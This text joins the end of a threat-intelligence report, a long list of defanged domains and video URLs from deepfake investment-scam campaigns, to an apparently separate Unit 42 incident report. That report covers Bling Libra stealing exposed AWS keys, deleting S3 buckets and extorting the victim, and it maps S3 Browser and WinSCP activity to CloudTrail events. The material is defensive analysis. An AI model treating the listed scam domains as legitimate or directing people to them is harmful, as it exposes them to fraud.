  • Video URL: hxxps://ai-usmcollective[.]click/videos/Maib_prezident_RU[.]mp4
  • Language: Russian
  • Country targeted: Moldova
  • Deepfake of: Maia Sandu (President of Moldova)
  • Summary: Promoting a fake investment project called “Maib”, which claims to provide Moldovan citizens with up to 30,000 lei per month

Campaign-Specific IoCs

Video Hosting Domains

  • video[.]belmar-marketing[.]online
  • fiirststreeeet[.]top
  • ai-usmcollective[.]click
  • fortunatenews[.]com
  • conspatriots2024[.]com

Quantum AI Scam Web Page Examples

  • agentvisitliarpoint[.]click
  • ai-usmcapital[.]click
  • ai-usmfence[.]click
  • ai-usmoutlay[.]click
  • ai-usmroot[.]shop
  • ai-usmside[.]shop
  • alt-fin-side[.]shop
  • baelandworld[.]com
  • bikeputaware[.]click
  • bit-360[.]site
  • blackenedretl[.]shop
  • blaroya[.]com
  • boarbooks-rh[.]cloud
  • cavernaid-ky[.]cloud
  • certifilite[.]com
  • coredale-pg[.]cloud
  • crystalincantation[.]com
  • d1g1talpoint[.]xyz
  • dearetung[.]homes
  • dflihdr[.]top
  • directors[.]homes
  • dongice-jksd[.]cloud
  • echolimirs[.]top
  • edenovougobio[.]site
  • enter-up[.]top
  • excellentone[.]one
  • fabulous4onee[.]monster
  • firstcoyotecapital[.]click
  • flowcyber[.]click
  • flowersys-sv[.]cloud
  • flowpulse[.]click
  • foodtruckit[.]com
  • fourhillsfarmva[.]com
  • g-tradytactics3[.]site
  • gatenewtechlikew[.]world
  • gfnuw[.]top
  • ggenniusprrojecct[.]site
  • globalmastersilvernew[.]world
  • globalpolytechasd[.]world
  • globalpolytr[.]world
  • goldzonexa[.]world
  • gravetechno-jy[.]cloud
  • greenrealm[.]world
  • grottostones-gl[.]cloud
  • groundbreakinginitiative[.]top
  • gtriotit-wqm[.]site
  • hideoutglownew[.]pro
  • hotelierjobz[.]com
  • huerwlleiss-herton[.]pro
  • iaqa[.]life
  • illjp4gpz[.]sbs
  • illjp4xty[.]sbs
  • inc-co[.]site
  • infosysdata[.]store
  • inv-platform2024[.]site
  • investcontribution[.]top
  • jetshow-qi[.]cloud
  • juoguquda[.]com
  • kevxk[.]top
  • kos4mzf[.]monster
  • kurtilast[.]top
  • kuvukye[.]space
  • lartons[.]top
  • liketechnewgateq[.]world
  • lozlas-ta[.]cloud
  • lozlas-tb[.]cloud
  • lozlas-tc[.]cloud
  • lsuhhf[.]top
  • maplegateu-yj[.]xyz
  • metawings[.]top
  • milfarka[.]store
  • mmajp1oxg[.]monster
  • newforestjoyzonega[.]world
  • newglowhideout[.]pro
  • njecil[.]top
  • oakcloudhi-ere[.]world
  • oakcloudhi-erg[.]world
  • onlinepasivechange[.]sbs
  • originalquantum[.]shop
  • outlayquantum[.]shop
  • owrsasd-tf[.]cloud
  • passionquantum[.]shop
  • peerfeectwall[.]online
  • pinkwheels-ra[.]cloud
  • pinkwheels-rb[.]cloud
  • prevaczcgv[.]site
  • pro-fitters[.]store
  • promisingendeavor[.]website
  • qatuk[.]org
  • quantum-ai[.]link
  • quantumai[.]tools
  • quantumal[.]xyz
  • qvantum-ai[.]tech
  • redwoodrest[.]world
  • registration-form[.]website
  • restigood-oo[.]cloud
  • ricegoodniceproas[.]world
  • rockriddle[.]world
  • rwtfoa-hpl[.]cloud
  • sacvenih[.]sbs
  • ser2kke[.]monster
  • silvermaster-gtj[.]cloud
  • spacemome[.]online
  • spikemaster-ra[.]cloud
  • spikemaster-rj[.]cloud
  • srkgjh[.]top
  • sskkilfulinnvestoor[.]site
  • st-twp[.]cloud
  • stakspat[.]site
  • stockainet[.]site
  • subterrasphere[.]world
  • superstarone[.]one
  • swapfavour[.]com
  • sweetchaseonly[.]click
  • techmerge-ai[.]space
  • techverseasx[.]world
  • testdomaintest[.]site
  • theebeestbrookeer[.]website
  • thequantumai[.]org
  • treewavet[.]world
  • tulalavno[.]store
  • ultravirilehemer[.]com
  • unityventurehub[.]space
  • voidrover-hjsi[.]xyz
  • whitesphereworldjoyful[.]world
  • wizardstar-srea[.]xyz
  • wizardstar-sred[.]xyz
  • wizardstar-sree[.]xyz
  • wizardstar-srej[.]pro
  • wizardstar-sren[.]pro
  • wizardstar-srey[.]xyz
  • wizardstarsrea[.]pro
  • wizardstarsreb[.]pro
  • wizardstarsrek[.]pro
  • wizardstarsreo[.]pro
  • wztnb[.]shop

Quantum AI Scam Video URL Examples

  • hxxps[:]//video[.]belmar-marketing[.]online/videos/QuantumAI_Muskpresentations_EN[.]mp4
  • hxxps[:]//video[.]belmar-marketing[.]online/videos/QuantumAI_musk_EN[.]mp4
  • hxxps[:]//telegra[.]ph/file/3ae9666ce78ae1ba90b47.mp4
  • hxxps[:]//fortunatenews[.]com/video/quantumal__video[.]mp4
  • hxxps[:]//fiirststreeeet[.]top/videos/QuantumAI_Musk-presentation_EN[.]mp4

TotalEnergies Scam Web Page Examples

  • invest-toolavenue[.]shop
  • invest-toolrealm[.]shop
  • investseries[.]shop

TotalEnergies Scam Video URL Examples

  • hxxps[:]//video.belmar-marketing[.]online/videos/TotalEnergies_news_FR[.]mp4
  • hxxps[:]//ai-usmcollective[.]click/videos/TotalEnergies_news_FR[.]mp4

World Bank Scam Web Page Examples

  • hugeproject[.]shop
  • higheststudy[.]click
  • growthventure[.]click
  • growthwall[.]click

World Bank Scam Video URL Examples

  • hxxps[:]//video[.]belmar-marketing[.]online/videos/TheWorldBank_woman_EN[.]mp4
  • hxxps[:]//ai-usmcollective[.]click/videos/TheWorldBank_woman_EN[.]mp4

KazMunayGas Scam Web Page Examples

  • aifaith[.]shop
  • aiprincipal[.]top
  • aireliance[.]top
  • aishield[.]shop
  • aiside[.]shop
  • aisimple[.]top
  • aitfinoutlay[.]top
  • block4aiendeavor[.]shop
  • block4aifinancier[.]shop
  • block4aiinitiative[.]shop
  • block4aimethod[.]top
  • block4aioperation[.]top
  • block4aipatron[.]top
  • block4aiprecaution[.]top
  • block4aiprotection[.]shop
  • block4aiprotection[.]top
  • block4aisafeguarding[.]shop
  • block4aischedule[.]top
  • block4aisystem[.]top
  • block4aitask[.]top
  • block4aiwell-being[.]shop
  • block4alinitiative[.]shop
  • coinaibarrier[.]top
  • coinaibasis[.]top
  • coinaiboundary[.]top
  • coinaichannel[.]top
  • coinaicommunicate[.]top
  • coinaieducate[.]top
  • coinaienclosure[.]top
  • coinaifence[.]top
  • coinaifinancier[.]top
  • coinaiframework[.]top
  • coinaimedium[.]top
  • coinaimethod[.]shop
  • coinaipartition[.]top
  • coinaiprecaution[.]top
  • coinaischedule[.]shop
  • coinaischeme[.]shop
  • coinaishareholder[.]top
  • coinaiside[.]top
  • coinaistage[.]top
  • coinaitask[.]shop
  • coinaiwell-being[.]top
  • coinalcommunity[.]shop
  • coinalendeavor[.]top
  • coinalgamble[.]shop
  • coinalguard[.]top
  • coinalinitiative[.]shop
  • coinalinternational[.]shop
  • coinalprecaution[.]shop
  • coinalsafeguarding[.]top
  • coinalsafetynet[.]shop
  • coinalsafetynet[.]top
  • coinalscheme[.]top
  • coinaltask[.]top
  • coinalundertaking[.]shop
  • coinaluniversal[.]top
  • coinalwell-being[.]shop
  • coinalwell-being[.]top
  • coinalwidespread[.]top
  • coinangelinvestor[.]top
  • coinbacker[.]shop
  • coinband[.]shop
  • coinband[.]top
  • coinbarrier[.]top
  • coincapitalist[.]top
  • coincollective[.]shop
  • coincommunity[.]shop
  • coincommunity[.]top
  • coindependence[.]shop
  • coinfinancier[.]shop
  • coingamble[.]top
  • coingathering[.]shop
  • coininitiative[.]shop
  • coinpartition[.]top
  • coinreliance[.]shop
  • coinside[.]top
  • coinundertaking[.]shop
  • coinundertaking[.]top
  • easylender[.]top
  • gaibarricade[.]top
  • gaibasis[.]top
  • gaiboundary[.]top
  • gaicurriculum[.]top
  • gaidiscover[.]top
  • gaifence[.]top
  • gaiintermediary[.]top
  • gailegalentity[.]top
  • gaimiddleman[.]top
  • gaipioneer[.]shop
  • gaiprecaution[.]shop
  • gaiprecaution[.]top
  • gaiprestige[.]shop
  • gaiprincipal[.]top
  • gaiprinciple[.]top
  • gaiproduction[.]top
  • gaiprotection[.]top
  • gairesplendent[.]top
  • gairush[.]shop
  • gaisafeguarding[.]shop
  • gaishield[.]shop
  • gaiside[.]shop
  • gaisource[.]top
  • gaitfinagent[.]shop
  • gaitfincore[.]shop
  • gaitfinfacilitator[.]shop
  • gaitfinnegotiator[.]shop
  • gaitfinroot[.]shop
  • gaitfinsalesperson[.]shop
  • gaitfinside[.]shop
  • gaitfinsource[.]shop
  • gaiwell-being[.]shop
  • gaiwise[.]shop
  • gaiwonderful[.]top
  • galtcoindiscover[.]top
  • gbeginstart[.]shop
  • gblock4aiacquaint[.]top
  • gblock4aiangelinvestor[.]shop
  • gblock4aicommunicate[.]shop
  • gblock4aiendeavor[.]shop
  • gblock4aifinancier[.]shop
  • gblock4aifortification[.]top
  • gblock4aiguard[.]top
  • gblock4aiinitiative[.]shop
  • gblock4aimethod[.]shop
  • gblock4aimethod[.]top
  • gblock4aioperation[.]shop
  • gblock4aioperation[.]top
  • gblock4aipatron[.]top
  • gblock4aiprotection[.]top
  • gblock4aisafeguarding[.]shop
  • gblock4aisafeguarding[.]top
  • gblock4aisafetynet[.]top
  • gblock4aischedule[.]top
  • gblock4aischeme[.]top
  • gblock4aisequence[.]top
  • gblock4aishield[.]shop
  • gblock4aisystem[.]top
  • gblock4aitask[.]shop
  • gblock4aitask[.]top
  • gblock4aiwell-being[.]shop
  • gblock4aiwell-being[.]top
  • gblock4aiworldwide[.]shop
  • gblock4alinitiative[.]shop
  • gbrightenclosure[.]top
  • gcapitalstart[.]click
  • gcentralboundary[.]shop
  • gchiefcommunicate[.]top
  • gcleverbacker[.]shop
  • gcleverbacker[.]top
  • gcoinaiangelinvestor[.]top
  • gcoinaibacker[.]top
  • gcoinaibarricade[.]top
  • gcoinaibarrier[.]top
  • gcoinaibasis[.]top
  • gcoinaichannel[.]top
  • gcoinaieducate[.]top
  • gcoinaienclosure[.]top
  • gcoinaifence[.]top
  • gcoinaifinancier[.]top
  • gcoinaiframework[.]top
  • gcoinaimedium[.]top
  • gcoinaimethod[.]shop
  • gcoinaiprecaution[.]top
  • gcoinaisafetynet[.]top
  • gcoinaischeme[.]shop
  • gcoinaisequence[.]shop
  • gcoinaishareholder[.]top
  • gcoinaisystem[.]top
  • gcoinaitask[.]shop
  • gcoinaiwell-being[.]top
  • gcoinalband[.]shop
  • gcoinalcommunity[.]shop
  • gcoinalendeavor[.]shop
  • gcoinalgamble[.]shop
  • gcoinalguard[.]top
  • gcoinalinitiative[.]shop
  • gcoinalinternational[.]shop
  • gcoinalprecaution[.]top
  • gcoinalrisk[.]top
  • gcoinalsafeguarding[.]top
  • gcoinalsafetynet[.]shop
  • gcoinalsafetynet[.]top
  • gcoinalschedule[.]top
  • gcoinalscheme[.]top
  • gcoinaltask[.]top
  • gcoinaluniversal[.]top
  • gcoinalwell-being[.]shop
  • gcoinalwidespread[.]top
  • gcoinangelinvestor[.]top
  • gcoinassurance[.]shop
  • gcoinband[.]top
  • gcoinbarrier[.]top
  • gcoincapitalist[.]top
  • gcoincollective[.]shop
  • gcoincommunicate[.]shop
  • gcoincommunity[.]shop
  • gcoincommunity[.]top
  • gcoincredit[.]shop
  • gcoindependence[.]shop
  • gcoinfinancier[.]shop
  • gcoingamble[.]top
  • gcoingathering[.]shop
  • gcoininitiative[.]shop
  • gcoinmedium[.]top
  • gcoinpartition[.]top
  • gcoinreliance[.]shop
  • gcoinside[.]top
  • gcoinundertaking[.]shop
  • gcoinundertaking[.]top
  • gdrivenfacilitator[.]top
  • geffortlesslegalentity[.]top
  • genergyemporium[.]store
  • gexceptionalmodule[.]top
  • gexhilaratingcontribution[.]club
  • gexxclusivefoundation[.]space
  • gfinancingstart[.]shop
  • ggiftedcollective[.]top
  • ggroundworkband[.]shop
  • ggrrandventure[.]fun
  • ggrrandventure[.]site
  • ggrrandventure[.]website
  • gharmoniousundertaking[.]top
  • ghighestrisk[.]top
  • gimmenseinitiative[.]top
  • gimportantinternational[.]club
  • gincompleteuniversal[.]top
  • ginnspiringdefense[.]site
  • ginstitutestart[.]shop
  • ginvestfortification[.]shop
  • ginvestguard[.]shop
  • ginvestingstart[.]shop
  • ginvestprecaution[.]shop
  • ginvestwell-being[.]shop
  • gnetworkstart[.]click
  • goriginatestart[.]shop
  • grrandventure[.]site
  • gscarceai[.]top
  • gsplendidai[.]top
  • gsubsidystart[.]shop
  • gsurprisingai[.]top
  • gsystemaibarricade[.]top
  • gsystemaibasis[.]shop
  • gsystemaiboundary[.]shop
  • gsystemaiboundary[.]top
  • gsystemaifence[.]shop
  • gsystemaifence[.]top
  • gsystemaigroundwork[.]shop
  • gsystemainegotiator[.]shop
  • gsystemaiside[.]shop
  • gtopinvestigate[.]shop
  • individualestablish[.]top
  • investfortification[.]shop
  • riseanalyze[.]click
  • safegroup[.]shop
  • subsidystart[.]shop
  • systemaibarricade[.]shop
  • systemaibasis[.]top
  • systemaigroundwork[.]shop
  • systemainegotiator[.]shop

KazMunayGas Scam Video URL Examples

  • hxxps[:]//video[.]belmar-marketing[.]online/videos/kazmunay-preland.mp4
  • hxxps[:]//ai-usmcollective[.]click/videos/kazmunay-preland.mp4

Liberty Coin Scam Web Page Example

  • patriotsmaga2024[.]com/wp/2024/04/09/statement-from-president-trump-9th-of-april-2024/?1717411716131

Liberty Coin Scam Video URL Examples

  • hxxps[:]//conspatriots2024[.]com/wp-content/uploads/2024/04/0-02-05-39b70d3c0c0582890da2793bd7551a4adacea2faef6e1303a943db46b875cde7_1c6dbb11ce91a9.mp4
  • hxxps[:]//conspatriots2024[.]com/wp-content/uploads/2024/04/0-02-05-aca301a44b073ea87338efcd18aa41f18ebd53e8462b780976412fc70a3a28d2_1c6dbb100c4956.mp4

Additional Resources

Updated Sept. 25, 2024, at 11:15 a.m. PT to add additional IoCs as well as screenshots from the deepfake videos in the same section. 

Updated Oct. 23, 2024, at 8:30 a.m. PT to add additional IoCs as well as screenshots from the deepfake videos in the same section. 

Bling Libra’s Tactical Evolution: The Threat Actor Group Behind ShinyHunters Ransomware

Executive Summary

In an incident response engagement handled by Unit 42, the threat actor group Bling Libra (the group behind the ShinyHunters ransomware) showcased their new shift to extorting victims rather than their traditional tactic of selling/publishing stolen data. This engagement also displayed how the group acquires legitimate credentials, sourced from public repositories, to gain initial access to an organization’s Amazon Web Services (AWS) environment.

While the permissions associated with the compromised credentials limited the impact of the breach, Bling Libra infiltrated the organization’s AWS environment and conducted reconnaissance operations. The threat actor group used tools such as the Amazon Simple Storage Service (S3) Browser and WinSCP to gather information on S3 bucket configurations, access S3 objects and delete data.

Threat actors commonly use S3 Browser and WinSCP during their attacks. To expand incident responders’ understanding of how these tools generate events in the logs, this research differentiates activity initiated by the threat actors versus activity automatically generated by each tool.

As businesses increasingly embrace cloud technologies, the threat posed by groups like Bling Libra underscores the importance of robust cybersecurity practices. By implementing proactive security measures and monitoring critical log sources, organizations can effectively safeguard their cloud assets and mitigate the impact of cyberthreats.

AWS log sources and services such as Amazon GuardDuty, AWS Config and AWS Security Hub play a crucial role in enhancing the security posture of organizations. When using AWS Organizations, using AWS Service Control Policies and permission boundaries add additional protection. These tools provide valuable insights and alerts to security analysts, enabling them to monitor and respond to security incidents effectively.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • Cortex XDR for cloud can offer a comprehensive incident story by integrating activity from cloud hosts, cloud traffic and audit logs together with endpoint and network data.
  • Palo Alto Networks customers can also take advantage of Prisma Cloud to monitor posture and maintain compliance across public clouds.
  • Palo Alto Networks Cloud Security Agent (CSA) uses XSIAM to provide detection and monitoring capabilities to cloud infrastructure through both Prisma Cloud and Cortex cloud agents.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Extortion, Cloud Cybersecurity Research

Bling Libra Background: The Threat Actors Behind ShinyHunters

Unless a threat actor leaves specific indicators behind, researchers have a difficult time performing attribution for cloud attacks. However, the threat actor group Bling Libra does not hold back in making sure their attacks explicitly link back to them.

Bling Libra first emerged in 2020 and has been linked to significant data breaches, such as the Microsoft GitHub and the Tokopedia attacks in 2020 as reported by Wired. While Bling Libra’s targets span various industries and geographic regions, their modus operandi remains consistent.

This group typically acquires legitimate credentials before targeting database infrastructure to gather personally identifiable information (PII) for resale on underground marketplaces. In 2024, the group shifted from trying to sell data they’ve collected to extorting their victims, and targeting cloud environments.

Introduction to MITRE ATT&CK® Framework

This article uses the MITRE ATT&CK framework to categorize the different tactics present within the attack. The matrix comprises 14 unique tactics (Enterprise version 15) and categorizes various common characteristics seen by threat actors. For more information on the tactics present in this article, each header contains a link to each specific tactic and their corresponding techniques. Figure 1 represents the first step in the attack.

Icon of a key where the handle is a cloud. Graphic illustrating a cybersecurity breach labeled "Initial Access." Details include retrieval of an AWS access key from a sensitive file exposed on the internet and logging into an organization’s AWS account with that exposed key.
Figure 1. Initial access begins with stealing AWS access keys.

Initial Access (TA0001)

To gain initial access into the organization's AWS environment, the threat actors obtained AWS credentials from a sensitive file exposed on the internet. The file contained a variety of credentials, but the group specifically targeted the exposed AWS access key belonging to an identity and access management (IAM) user and a handful of other exposed credentials.

These cloud credentials allowed the threat actors to gain access to the AWS account where this IAM user resided and perform AWS application program interface (API) calls. The permissions associated with these credentials only allowed the attackers to successfully interact with S3 with the AmazonS3FullAccess policy. This AWS-managed policy grants unlimited permissions to S3 resources within an AWS account depending on what other organizational policies the AWS account might employ.

Unit 42 commonly investigates matters where overly permissive cloud credentials deployed by organizations lead to further exploitation of an environment. This Bling Libra attack exemplifies the results of not following the principle of least privilege.

Discovery (TA0007)

Once Bling Libra gained access to the organization’s AWS environment, they performed a variety of API calls to determine the extent of the permissions the compromised credentials contained. To determine what API calls the threat actors made, Unit 42 used CloudTrail logs to track the group’s activities in the environment. CloudTrail logs all the management events that occur within an AWS account. Figure 2 captures the various discovery attempts.

Image displaying a 'Discovery' banner with an icon of a magnifying glass over a document. Below it are two bullet points: 'Failed to retrieve list of IAM users' and 'Successfully viewed names of all S3 buckets.'
Figure 2. Discovery begins the attacker’s process of learning more about the environment.

Against the IAM service, the threat actor performed ListUsers, which returns a list of the existing users within the AWS account. Due to the limited permissions associated with the access key, the API call failed.

To learn more about the S3 buckets that existed within the AWS account, the group performed the ListBuckets API call using the AWS Command Line Interface (CLI). The AWS CLI provides people the ability to interact with an AWS account through the command line, and it provides the building blocks for automation.

From there, the threat actors switched to using the S3 Browser tool to iterate through the S3 buckets in the account and that generated both GetBucketLocation and GetBucketObjectLockConfiguration events in the CloudTrail logs. The S3 Browser tools provide a graphical user interface (GUI) to interact with the S3 buckets within an AWS account.

The S3 Browser analysis section discusses in more depth which API calls the tool automatically generates to help incident responders differentiate between tool automation and threat actor activity.

Data Access and Impact (TA0010 and TA0040)

Following the discovery operations, the threat actor waited almost a month before returning and taking disruptive actions within the organization’s AWS account. Due to both CloudTrail S3 data logging and S3 server access logging not being enabled within the organization's AWS environment, no logs existed that showed exfiltration activity from the S3 buckets. Figure 3 illustrates the next two stages of the attack.

Icon of a hand pressing a button as lines flow in and out of it. "Data Access" inside a green arrow, followed by a bullet point stating "Accessed all S3 buckets. An image featuring a purple arrow with the word 'Impact' inside, next to a graphic of a gear and atom. Below the arrow, a bullet point reads 'Deleted a selection of S3 buckets.'
Figure 3. Data access and impact of the attacker's actions.

After waiting that extended period of time, the threat actor group used WinSCP to graphically view all the S3 buckets in the account. After selecting the Amazon S3 file protocol and entering the access key ID and secret access key, the tool automatically generates the ListBuckets API call to populate the list of buckets in the GUI. Due to the lack of object level logging, no other API calls appeared in the CloudTrail logs until the threat actor deleted a handful of buckets, which resulted in the DeleteBucket API call.

As described below, WinSCP provides various methods to interact with the S3 storage objects in an AWS account. The ransom note later sent by the threat actor provided proof of data access, but it did not provide enough specifics to determine what S3 data left the environment.

Execution (TA0002)

Following the deletion of all the S3 buckets, the threat actor used an automated script with the AWS CLI and attempted to create new S3 buckets. These buckets had various name variations of contact-shinycorp-tutanota-com-# with the # replaced with ascending numbers. Figure 4 shows the final step – execution of the script.

Document icon with code symbol followed by the word "Execution". Bullet point stating: Used script to create new S3 buckets with shinycorp in all the bucket names.
Figure 4. The attacker creates new S3 buckets.

All the buckets were created within ten minutes of starting the CreateBucket operations. We see no motive behind creating these S3 buckets other than to mock the organization about the attack. Figure 5 shows the full MITRE timeline based on key events detailed above.

A cybersecurity incident flowchart showing stages of a data breach, labeled as Initial Access, Discovery, Data Access, Impact, and Execution, against a dark background. Icons indicate actions like retrieving AWS access key, viewing S3 bucket contents, and using a script to create new buckets. The Palo Alto and Unit 42 logos are visible at the bottom right.
Figure 5. The MITRE timeline details the attack path taken by the threat actor.

Extortion

After Bling Libra performed all the aforementioned actions (i.e., data access via API key, discovery, deletion and creation of buckets), they completed their attack by sending an extortion email to the victim organization. The note stated the group had shifted to extortion to make more money and that the victim organization had one week to pay, as seen in Figure 6.

A ransomware demand, stating conditions and threats targeting a company's private data, with requirements for contacting the sender within 72 hours and making a payment within a week.
Figure 6. Extortion email.

S3 Browser and WinSCP Analysis

In many Unit 42 investigations involving cloud compromises, S3 Browser and WinSCP appear in the logs as threat actors use them for nefarious activity. Unit 42 performed tests to determine which activity in the AWS CloudTrail logs came from specific actions taken in the tools’ GUIs versus automation API calls performed by the tools themselves.

The following tests used S3 Browser version 11.6.7 and WinSCP version 5.21.7.0.

S3 Browser

Unit 42 performed tests to understand which API calls automatically happen in the background by the tool, and which API calls get logged because of specific actions performed by a user in the GUI. The API calls can be tracked via the user agent field in the CloudTrail logs, which would contain a value of S3 Browser/<Version> (https://s3browser[.]com).

The test activities we discuss here took place against a bucket we created with data events logging enabled in CloudTrail, to compare the visibility in management versus data events. Data events provide visibility into the resource operations performed on or within a resource (e.g., creating, downloading or deleting an object within the S3 buckets). We denote object-level logging events with an asterisk (*) in the following sections.

  • The first connection to the S3 storage service after entering the access key credentials resulted in the API calls listed below. As noted in Figures 7 and 8, S3 Browser automatically queries the object list, location and object lock configuration for the first S3 bucket alphabetically. If the S3 Browser application stays open when adding and removing the access key, only ListBuckets and ListDistributions appear in the CloudTrail logs (shown in Figures 9 and 10):
    • ListBuckets
    • ListObjects*
    • GetBucketLocation
    • GetBucketObjectLockConfiguration
    • ListDistributions
A screenshot of a computer's file management system window, displaying files and folders with timestamps and status messages in a log section at the bottom. The theme is a classic gray interface and includes toolbar icons for tasks like uploading, downloading, creating new folders, and deleting files. A section of the Event log is highlighted in red.
Figure 7. First connection to S3 service using S3 Browser.
Screenshot of a log file showing events from various AWS services including S3 and CloudFront, with timestamps, event sources, event names, and user agents. Some entries are expanded to reveal resource details including specific ARNs (Amazon Resource Names). Some text is redacted.
Figure 8. API calls for first connection to S3 service using S3 Browser.
A screenshot of a computer interface with a file manager window open, displaying a list of log files named largely with dates and specific tasks, such as "Successfully resolved disputes for TaskID". There are various tabs at the top such as "Documents," "Settings," and "Help." The interface style suggests a Windows operating system. A section of the event log is highlighted inside a red box. Some information is redacted.
Figure 9. Connection using the same API keys without closing the S3 Browser.
A table of event logs that include the time, source, name, user agent, sources and request parameters.
Figure 10. API calls for the connection using the same API keys without closing the S3 Browser.
  • When selecting and viewing the directory structure of another bucket in S3 Browser, it results in the following API calls.
    • ListObjects*
    • GetBucketLocation
    • GetBucketObjectLockConfiguration
  • When previewing an object in S3 Browser (shown in Figure 11), the previewed file gets downloaded as a temporary file locally onto the host running the S3 Browser application. The file then immediately gets deleted from disk (even if the preview window is still open with the file in the GUI). The S3 Browser stores the file in a temporary directory: C:\Users\<username>\AppData\Local\Temp\S3 Browser\<TempFileName>. The CloudTrail logs generate two data events for this action, one of them being GetObject, which appears in the logs since the object retrieval took place to populate the preview window. The HeadObject API call retrieves metadata about the object selected (e.g., its size, last modified date and metadata displayed by the application in the Properties tab).
Screenshot of an Amazon S3 bucket interface displaying a list of files with options to upload, download, delete, create new folder, and refresh. Some of the information is redacted.
Figure 11. Previewing an object in S3 Browser.
  • Creating and deleting buckets and objects resulted in Put, Create and Delete API calls as listed below:
  • Viewing the permissions in S3 Browser (shown in Figure 12) results in the API calls below for the access control list (ACL), OwnershipControls and PublicAccessBlock of the currently selected bucket.
Screenshot of an Amazon S3 management interface displaying four S3 buckets, including 'blogtest1' and 'blogtestbucket1'. The interface shows options for tasks, permissions, properties, and includes a panel listing files in the selected bucket, such as 'testfolder1' and 'testfile1.txt'.
Figure 12. Viewing the permissions of the bucket.
Screenshot of a computer interface for Amazon S3 (Simple Storage Service) showing various file management options including folders, upload functions, and file details like names and timestamps.
Figure 13. Viewing properties of a bucket in S3 Browser.
  • Attempting to enable and disable versioning for the bucket (shown in Figure 14) results in the API calls below, which first gather the versioning state and then set it to the required value.
Screenshot of an Amazon AWS S3 bucket properties dialog box, displaying details such as creation date, region (US East), total size, and the state of various settings like logging and versioning. The versioning pane is in its own window. Enable versioning is selected for one of the buckets.
Figure 14. Attempting to modify the versioning properties.
Text showing a JSON configuration snippet with parameters for a bucket named "blogtest.s3.us-east-1.amazonaws.com" hosted on Amazon AWS, including enabled versioning status.
Figure 15. Request Parameters of the API call when enabling the versioning for bucket.
  • Attempting to disable public block access for the bucket (shown in Figure 16) results in the API calls below, which first gather the public access block configuration and then attempts to remove it.
    • GetBucketPublicAccessBlock
    • DeleteBucketPublicAccessBlock
    • PutBucketAcl
Screenshot of an Amazon S3 management console with various settings displayed for a bucket named 'blogtestbucket1'. The Public Access Block Configuration pane is open. The page includes options for public access settings, including enabling and disabling public access, and viewing bucket policy for the specified bucket. The interface elements include tabs for permissions and other settings, as well as a side menu with further options. The status bar at the bottom shows successful retrieval of bucket properties.
Figure 16. Attempting to modify the public access block configuration.

WinSCP

Windows Secure Copy, commonly known as WinSCP, is a popular file transfer application primarily used for transferring files between local and remote systems using various protocols such as SFTP, SCP, FTPS and FTP. While not specifically designed for Amazon S3, WinSCP can be configured to interact with S3 buckets. While WinSCP provides versatile file transfer capabilities, it does not offer dedicated features for managing Amazon S3 storage, such as advanced bucket and object management functionalities found in S3 Browser.

Unit 42 tested to understand what API calls are automatically made when performing specific actions. WinSCP API calls can be tracked via the user agent field in the CloudTrail logs: WinSCP/<version>.

These test activities took place against a bucket we created with data events logging enabled in CloudTrail to compare the visibility in management versus data events.

  • The first connection to the S3 storage service after entering the access key credentials (shown in Figure 17) results in the API call below to list all the buckets in the GUI:
    • ListBuckets
A screenshot of a computer interface displaying a file directory. The directory lists two files named 'aaa-test-1111' and 'aa-test-1111'. S3 is visible at the bottom right corner.
Figure 17. Connection to S3 using WinSCP.
  • Viewing the properties of an object will result in an API call that returns metadata about the object such as location, size, owner, ACL as shown in Figure 18.
    • GetObjectAcl*
Screenshot of a file transfer window on a computer showing progress of files being copied from the folder "blogtestbucket1" to a destination. The file "test1filefolder2.txt" is currently being transferred, displaying details like size and owner in the properties dialog box. The owner information is redacted.
Figure 18. Viewing the properties of an object in WinSCP.
  • Downloading, deleting and creating objects and buckets generated the API calls below.
    • GetObject*
    • DeleteObject*
    • PutObject*
    • CreateBucket
    • DeleteBucket

When comparing the two tools, S3 Browser generates a lot more API calls that automatically appear in the CloudTrail logs based on user interaction, compared to WinSCP. The difference in the events generated in the CloudTrail logs comes down to the purpose of the two tools. Being a cloud native tool, S3 Browser takes advantage of more AWS features that generate additional API calls versus WinSCP, which works for more file transfer types than solely S3. Figure 19 shows the entire attack broken down based on API calls to display the various results from each tool used.

Flowchart demonstrating data operations with AWS CLI, S3 Browser, and WinSCP, showing commands like ListBuckets, CreateBucket, and DeleteBucket.
Figure 19. API call-delineated attack chain.

Conclusion

As organizations increasingly migrate their critical operations to the cloud, we continuously witness a concerning trend of overly permissive credentials. Threat actors like Bling Libra have evolved their tactics to exploit misconfigurations and exposed credentials in cloud environments.

Due to limited permissions of the compromised access keys, the breach covered in this post did not have an impact past the S3 buckets. However, in the past, Unit 42 has observed threat actors abusing overly permissive credentials to create resources for malicious use or modifying the IAM users and permissions to maintain persistence within an environment.

Use IAM Access Analyzer to better identify and manage access risks by analyzing resource policies. Additionally, when using AWS Organizations, AWS Service Control Policies and permission boundaries can be used to help ensure that only permitted actions are allowed, regardless of the individual IAM policies within each account.

Figure 20 shows the complete attack path taken by the threat actor as grouped by MITRE tactics.

A cybersecurity incident flowchart showing stages of a data breach, labeled as Initial Access, Discovery, Data Access, Impact, and Execution, against a dark background. Icons indicate actions like retrieving AWS access key, viewing S3 bucket contents, and using a script to create new buckets. The Palo Alto and Unit 42 logos are visible at the bottom right.
Figure 20. The MITRE timeline details the attack path taken by the threat actor.

Ensuring appropriately configured security configurations lays the groundwork to better protect organizations against potential breaches and data compromises. In this attack, attaching an S3 bucket policy requiring MFA to perform sensitive API calls such as DeleteBucket would have provided additional layers of protection against data loss. For critical data, we recommend replicating the data into another region or account to help ensure availability and resilience against security breaches including data destruction.

Ensuring adequate protection also involves regularly auditing and updating access controls, encryption settings and network configurations to align with best practices and compliance requirements. Leveraging services like AWS Config and AWS Security Hub provides continuous monitoring and assessment of the AWS environment's security posture.

Additionally, comprehending the attack lifecycle and the tactics, techniques and procedures (TTPs) of threat actors allows defenders to build the proper understanding for safeguarding cloud environments. By understanding how adversaries operate and the stages they go through to achieve their objectives, security analysts can proactively configure and monitor the necessary log sources in AWS . This allows defenders to more effectively detect and respond to cloud threats. Additionally, integrating Amazon GuardDuty for threat detection further strengthens security postures.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • Cortex XDR for cloud can offer a comprehensive incident story by integrating activity from cloud hosts, cloud traffic and audit logs together with endpoint and network data.
  • Palo Alto Networks’ customers can also take advantage of Prisma Cloud to monitor posture and maintain compliance across public clouds.
